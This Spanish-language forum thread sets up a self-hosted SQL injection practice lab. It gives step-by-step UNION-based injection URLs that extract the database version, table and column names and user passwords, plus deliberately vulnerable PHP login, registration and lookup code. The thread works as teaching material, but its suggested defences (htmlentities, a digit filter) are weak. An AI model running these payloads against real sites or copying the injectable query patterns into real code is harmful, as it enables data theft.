Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Nuestro propio laboratorio de SQL Injection

  • 4 Respuestas
  • 5611 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado user_en1gm4

  • *
  • Underc0der
  • Mensajes: 53
  • Actividad:
    0%
  • Reputación 2
  • 01 01
    • Ver Perfil
    • Email
« en: Octubre 19, 2017, 03:56:48 am »
Hola [email protected]! llevaba tiempo sin pasarme por aqui pero pues ya era hora de volver, esta vez les traigo un laboratorio que me arme para poder enseñar como se hace una injection sql manualmente, espero les guste.

Pueden montarlo en su propia maquina con un servidor local como xamp o wamp que ya tiene todo listo o a su propio servidor en internet, primero vamos a crear una base de datos MySql en nuestro servidor y crearemos una tabla llamada Clientes, el script quedaria algo asi:

CREATE TABLE `NOMBRE_BD`.`Clientes` ( `id` INT(2) NOT NULL AUTO_INCREMENT , `user` VARCHAR(30) NOT NULL , `password` VARCHAR(30) NOT NULL , `correo` VARCHAR(40) NOT NULL , `saldo` INT(3) NOT NULL , PRIMARY KEY (`id`)) ENGINE = InnoDB;

y se veria algo asi:


llenan la tabla con algunos datos.

Aca les dejo los archivos necesarios para subir al servidor:
www.mega.nz/#F!kjYHhKYK!DJWNW9x6CIq9SOGarRzs2g

Despues de descargarlos abrimos los tres archivos .php que se descargaron el archivo index.php, registro.php,sqli.php y llenan los datos como USUARIO_BD, CONTRASEÑA_BD Y NOMBRE_BD, depende tengan configurada su base de datos, al terminar esto solo queda subir todos los archivos a una carpeta del servidor y listo!


Abrimos a nuestro navegador y nos dirimos a donde tengamos los archivos por ejemplo:

http://localhost/taller_sql/

Nos saldra un login, primero nos registramos y luego iniciamos sesion son los anteriores datos, y listo estaremos adentro
, ahora si a jugar:



INYECCION:


PRIMERO SE MIRA SI ES VULNERABLE

http://localhost.com/taller_sql/sqli.php?id=1'


SE BUSCA EL NUMERO DE COLUMNAS DE LA TABLA

http://localhost/taller_sql/sqli.php?id=1+ORDER+BY+5--
http://localhost/taller_sql/sqli.php?id=1+UNION+SELECT+1,2,3,4,5--


SE MIRAN QUE CAMPOS CORRESPONDEN A QUE COLUMNA

http://localhost/taller_sql/sqli.php?id=-1+union+select+1,2,3,4,5--


SE REVISA QUE VERSION DE BASE DE DATOS UTILIZA

http://localhost/taller_sql/sqli.php?id=-1+union+select+1,VERSION(),3,4,5--

SE PUEDE VER EL TIPO DE CODIFICACION UTILIZA

http://localhost/taller_sql/sqli.php?id=-1+union+select+1,2,3,4,charset('str')+from+information_schema.tables--

SE PUEDE OBTENER EL USUARIO CON EL QUE SE ESTA TRABJANDO LA BD

http://localhost/taller_sql/sqli.php?id=-1+union+select+1,current_user(),3,4,5--

LISTA EL NUMERO DE TABLAS DE LA BD

http://localhost/taller_sql/sqli.php?id=-1+union+select+1,2,3,4,group_concat(table_name)+from+information_schema.tables--

"convertir el nombre de la tabla en hexadecimal" Clientes: 436c69656e746573

VAMOS A IMPRIMIR EL NOMBRE DE LAS COLUMNAS DE LA TABLA DE LA BASE DE DATOS

http://localhost/taller_sql/sqli.php?id=-1+union+select+1,2,3,4,group_concat(column_name)+from+information_schema.columns+where+table_name=0x436c69656e746573

Y LISTO AHORA SI PODEMOS OBTENER LOS DATOS

http://localhost/taller_sql/sqli.php?id=-1+union+select+1,2,3,4,group_concat(user,0x20,password)+from+Clientes

TODO ESTO LO PODEMOS HACER GRACIAS A QUE NO VALIDAMOS EL ID QUE NOS LLEGA POR LE METODO GET, CON UNA FUNCION QUE NOS LIMPIE ESTA VARIBALE LO PODEMOS ARREGLAR, SOLO DEBEMOS HACER ESTO EN LA LINEA 31 DE EL ARCHIVO SQLI.PHP TENEMOS QUE:

   $id =  $_GET["id"];

y a lo ultimo hay una funcionar que se llama limpiarString(), lo que tenemos que hacer es hacer que el id que obtenemos por get se limpie asi:

   $id =  limpiarString($_GET["id"]);

y listo, esta es una forma muy basica para detenerlo, php ya tiene unas funciones como htmlentities o htmlspecialchars, ustedes deciden.

LISTO AMIGOS SU PROPIO LABORATORIO DE SQL INJECTION, ESPERO QUE LES SIRVA,UN SALUDO!

« Última modificación: Octubre 20, 2017, 11:42:20 pm por user_en1gm4 »

Desconectado und3rc0de

  • *
  • Underc0der
  • Mensajes: 5
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #1 en: Octubre 20, 2017, 07:50:41 pm »
Voy a probarlo se ve interesante muchas gracias

Desconectado elshotta

  • *
  • Underc0der
  • Mensajes: 99
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #2 en: Febrero 01, 2018, 10:44:55 pm »
gracias, pero esta algo desactualizado debido a que las funciones mysql_connect, mysql_select_db, y mysql_fetch_array ya no se usan en las versiones php 7
a ver si alguien lo puede actualizar ( ya intente actualizarlo con POO pero no soy bueno programando :S)
saludos

Desconectado 1Byte

  • *
  • Underc0der
  • Mensajes: 25
  • Actividad:
    0%
  • Reputación 0
  • Siempre aprendiendo...
    • Ver Perfil
« Respuesta #3 en: Febrero 07, 2018, 11:23:35 am »
gracias, pero esta algo desactualizado debido a que las funciones mysql_connect, mysql_select_db, y mysql_fetch_array ya no se usan en las versiones php 7
a ver si alguien lo puede actualizar ( ya intente actualizarlo con POO pero no soy bueno programando :S)
saludos

Te refieres usando PDO "SOLO" para conectarte a la db ? porque segun tengo entendido PDO con el bindparam debería ayudar a protegerte de estos casos ...

Desconectado elshotta

  • *
  • Underc0der
  • Mensajes: 99
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #4 en: Febrero 15, 2018, 07:23:36 pm »
listo, ya le saque un tiempo a editar estos archivos (aunque como les dije se muy poco de php), pero ya estan funcionales
a continuación les comparto el codigo:
INDEX.php
Código: [Seleccionar]
<?php


error_reporting
(E_ALL^E_NOTICE);
if(isset(
$_POST["enviar"])){

   
$usuario $_POST["usuario"];
   
$clave $_POST["clave"];

   
$con mysqli_connect("localhost","root","","sql"); /*<---- sql es el nombre de la base de datos, ustedes lo cambian según el nombre que le dieron a la base de datos  */
   
$select "SELECT * FROM Clientes WHERE user= '$usuario' AND password = '$clave'";
   
$query mysqli_query($con,$select);
   if (
$columna mysqli_fetch_array($query)){
  

   
header("location: sqli.php?id=".$columna[0]);
}
  
  else{

  
   echo 
'<script>alert("Usuario o contraseña incorrecta")</script>';

  }
  
}

?>
REGISTRO.PHP
Código: [Seleccionar]
<?php

if(isset($_POST["enviar"])){

   
$usuario $_POST["usuario"];
   
$clave $_POST["clave"];
   
$correo $_POST["correo"];
   
$saldo $_POST["saldo"];


  
$con mysqli_connect("localhost","root","","sql");
   
  
$select "INSERT INTO Clientes VALUES ('','$usuario','$clave','$correo','$saldo')";
   
mysqli_query($con,$select);
   
  
    echo 
'<script>alert("Usuario registrado correctamente")</script>';
  





}
?>
SQLI.php
Código: [Seleccionar]
<?php
  
if(isset($_GET["id"])){
   
$id =  $_GET["id"];
   
  
$con mysqli_connect("localhost","root","","sql");
   
$select "SELECT * FROM Clientes WHERE id=".$id;
   
$query mysqli_query($con,$select);
   
$columna mysqli_fetch_array($query);
   echo 
"<center><h2> <font color = 'blue'> [email protected] </font> </h2></center>";
   echo 
"<font color = '#ffffff'> Hola: </font><font color = 'green'> ".$columna[1]."</font> <br>";
   echo 
"<font color = '#ffffff'> Su saldo es de: </font> <font color = 'green'> ".$columna[4]."</font> <br>";
  }
  else{
   
header("location: sqli.html");
  }
  
  
mysqli_close($con);




  function 
limpiarString($texto)
{
      
$textoLimpio preg_replace('([^0-9])'''$texto);                
      return 
$textoLimpio;
}
 
?>

saludos, espero que les sirva :)

 

¿Te gustó el post? COMPARTILO!



[Video- español] Curso de SQL INJECTION (SQLI) - Básico a Avanzado

Iniciado por Franciscodc

Respuestas: 1
Vistas: 6909
Último mensaje Agosto 29, 2018, 02:50:31 am
por Lmntr1x
Flask + Jinaj2 Server-Side Template Injection

Iniciado por Dedalo

Respuestas: 2
Vistas: 3821
Último mensaje Julio 11, 2018, 01:29:28 am
por Dedalo
[VIDEOTUTORIAL] Técnicas Anti-hacker en; PHP - XSS - CSRF - SQL INJECTION - Etc.

Iniciado por akame_night_raid

Respuestas: 0
Vistas: 3136
Último mensaje Abril 20, 2016, 02:07:50 pm
por akame_night_raid
Mas de 4000 dorks para SQL INJECTION

Iniciado por Drok3r

Respuestas: 2
Vistas: 11171
Último mensaje Abril 06, 2019, 11:16:52 am
por juan2266
Google Dorks SQL Injection & XSS Payload

Iniciado por Drok3r

Respuestas: 0
Vistas: 3767
Último mensaje Febrero 15, 2018, 09:05:05 pm
por Drok3r